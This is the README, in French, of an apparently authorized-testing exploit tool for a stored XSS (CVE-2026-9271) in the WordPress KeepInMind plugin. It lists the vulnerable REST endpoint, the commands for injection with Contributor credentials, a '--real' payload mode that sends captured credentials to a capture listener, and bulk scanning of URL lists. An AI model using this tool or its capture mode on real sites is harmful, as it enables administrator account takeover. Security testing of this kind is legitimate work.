
Outil d'évaluation autorisé de XSS stocké pour CVE-2026-9271 dans le plugin WordPress KeepInMind. Détecte les versions vulnérables, injecte des payloads de test sûrs et prend en charge l'analyse en masse avec des rapports SQLite.
Outil d'évaluation de sécurité autorisé pour CVE-2026-9271
Auteur : Sudeepa Wanigarathna · Outil : KIM-Guardian Pro v1.0
Script principal : CVE-2026-9271.py

[!IMPORTANT] Utilisation autorisée uniquement. Cet outil est destiné à la recherche en sécurité, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite pour évaluer. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2026-9271 est un problème de cross-site scripting (XSS) stocké dans le plugin WordPress KeepInMind (Dashboard Notes). Une désinfection insuffisante du contenu des notes permet à un utilisateur authentifié à faibles privilèges (Contributeur+) de stocker du HTML/JS qui s'exécute dans le navigateur d'un administrateur, ce qui peut conduire à la compromission de la session administrateur / la prise de contrôle du compte.
KIM-Guardian Pro (CVE-2026-9271.py) est un outil d'évaluation Python pour les testeurs autorisés afin de :
reports/| Attribut | Valeur |
|---|---|
| CVE ID | CVE-2026-9271 |
| Vecteur d'attaque | Authentifié (Contributeur+) → XSS stocké → Impact administrateur |
| Impact | XSS dans le navigateur de l'administrateur ; prise de contrôle potentielle du compte sur les installations vulnérables |
| Produit concerné | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Versions concernées | ≤ 0.8.4.2 (corrigé dans 0.8.4.3+) |
| Type de vulnérabilité | Cross-Site Scripting stocké (XSS) |
| CWE | CWE-79 (Mauvaise neutralisation de l'entrée lors de la génération de la page Web) |
| Surface | Rôle |
|---|---|
/wp-json/keepinmind/v1/notes | API REST utilisée pour créer/lire les notes |
/wp-admin/ | Tableau de bord d'administration où les notes stockées peuvent s'afficher |
| Chemin du plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Capacité | Description |
|---|---|
| Détection du plugin | Vérifie les chemins d'installation et les chaînes de version de KeepInMind |
| Version de WordPress | Extrait les métadonnées de générateur / version lorsqu'elles sont disponibles |
| Mode test sécurisé | Marqueur de superposition par défaut prouvant le XSS sans capturer d'identifiants |
| Évaluation authentifiée | Se connecte avec des identifiants Contributeur+ pour une injection REST complète |
| Nettoyage de la charge utile | Supprime les notes injectées après l'évaluation |
| Scan en masse | Scan multi-threadé de listes d'URL pour le plugin + version vulnérable |
| Historique SQLite | Stocke les évaluations dans kim_guardian.db |
| Rapports texte | Écrit des rapports horodatés dans reports/ |
| Serveur de capture | Écouteur HTTP local facultatif pour les exercices de capture d'identifiants en laboratoire |
| Interface Web | Tableau de bord Flask facultatif (mode web) |
| Capacité | Description |
|---|---|
| Journalisation détaillée | Débogage fichier + console dans logs/ |
| Prise en charge du proxy | Achemine le trafic via Burp ou d'autres proxys HTTP |
| Délai d'attente configurable | Délai d'attente par requête (30 s par défaut) |
| Pool de workers | Concurrence ajustable pour les scans en masse |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
Remplacez
https://lab.examplepar une cible de laboratoire ou autorisée uniquement.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
Le mode par défaut utilise une superposition de test sans capture. Fournissez des identifiants Contributeur+ pour l'injection via l'API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Déroulement :
-u / -p sont fournis)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Nécessite une URL de base d'attaque/capture et --real. Préférez garder la capture sur localhost pour les laboratoires.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Interface de capture (lorsque le serveur est en cours d'exécution) :
| Chemin | Objectif |
|---|---|
/ | Page de statut du serveur de capture |
/capture | Point de terminaison POST pour les soumissions de formulaires |
/captured | Entrées capturées récentes (revue de laboratoire) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Les contrôles en masse incluent généralement les indices WordPress, la version de KeepInMind, l'accessibilité REST et la présence de wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Se lie à localhost par défaut pour des raisons de sécurité.
| Mode | Description |
|---|---|
assess | Évaluation KeepInMind sur une seule cible |
bulk | Scan multi-cibles du plugin / de la version |
capture | Serveur HTTP local de capture d'identifiants |
web | Interface Web Flask facultative |
db | Lister les évaluations stockées |
assess| Argument | Défaut | Description |
|---|---|---|
url | requis | URL WordPress cible |
-u, --username | — | Nom d'utilisateur WordPress (Contributeur+) |
-p, --password | — | Mot de passe WordPress |
-a, --attacker | — | URL de base du serveur de capture (simulation de laboratoire) |
-t, --test | activé | Préférer la charge utile de test sécurisée |
-r, --real | désactivé | Activer la charge utile d'attaque de laboratoire (nécessite --attacker) |
--no-cleanup | désactivé | Laisser les notes injectées en place |
-v, --verbose | désactivé | Journalisation détaillée / débogage |
--timeout | 30 | Délai d'attente de la requête (secondes) |
--proxy | — | URL du proxy (p. ex. http://127.0.0.1:8080) |
bulk| Argument | Défaut | Description |
|---|---|---|
-f, --file | — | Fichier d'URL (une par ligne) |
-u, --urls | — | URL séparées par des virgules |
-w, --workers | 5 | Taille du pool de threads |
-o, --output | bulk_scan_results.txt | Chemin du rapport |
capture| Argument | Défaut | Description |
|---|---|---|
--port | 5000 | Port d'écoute |
web| Argument | Défaut | Description |
|---|---|---|
--host | 127.0.0.1 | Adresse de liaison |
--port | 8080 | Port d'écoute |
db| Argument | Défaut | Description |
|---|---|---|
--list | désactivé | Lister les évaluations récentes |
--limit | 10 | Nombre maximal de lignes à afficher |
Statut colorisé pour l'authentification, la détection du plugin, l'injection, la vérification et le nettoyage.
Les exécutions assess réussies écrivent des fichiers comme :
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| Fichier | Objectif |
|---|---|
kim_guardian.db | Historique des évaluations (cible, versions, indicateur de vulnérabilité, risque, durée) |
| Chemin | Objectif |
|---|---|
logs/kim_pro_*.log | Journaux d'application par exécution |
| Symptôme | Ce qu'il faut essayer |
|---|---|
| Échec de l'authentification | Confirmez les identifiants Contributeur+ ; vérifiez /wp-login.php ; utilisez -v |
| Plugin non détecté | Vérifiez le chemin/nom de KeepInMind ; essayez le mode détaillé |
| L'injection REST échoue | Confirmez l'authentification + le nonce ; inspectez avec --proxy via Burp |
| Délai d'attente / erreurs de connexion | Augmentez --timeout ; vérifiez le réseau / TLS / proxy |
| Aucune vulnérabilité en mode test | Confirmez la version ≤ 0.8.4.2 ; assurez-vous que les notes s'affichent pour l'administrateur |
Flask manquant en mode web | pip install flask |
| BeautifulSoup manquant | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
Ce projet est fourni tel quel pour la recherche en sécurité défensive et les tests d'intrusion autorisés.
En utilisant ce logiciel, vous acceptez que :
Si vous trouvez ce problème dans des systèmes de production que vous ne possédez pas, suivez une divulgation responsable auprès du propriétaire du site et du mainteneur du plugin.
L'accès non autorisé à des systèmes informatiques est illégal.
| Rôle | Nom |
|---|---|
| Auteur de l'outil | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Outil | KIM-Guardian Pro v1.0 |
| Script principal | CVE-2026-9271.py |
| Licence | Usage éducatif / défensif |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Pour les tests de sécurité autorisés uniquement.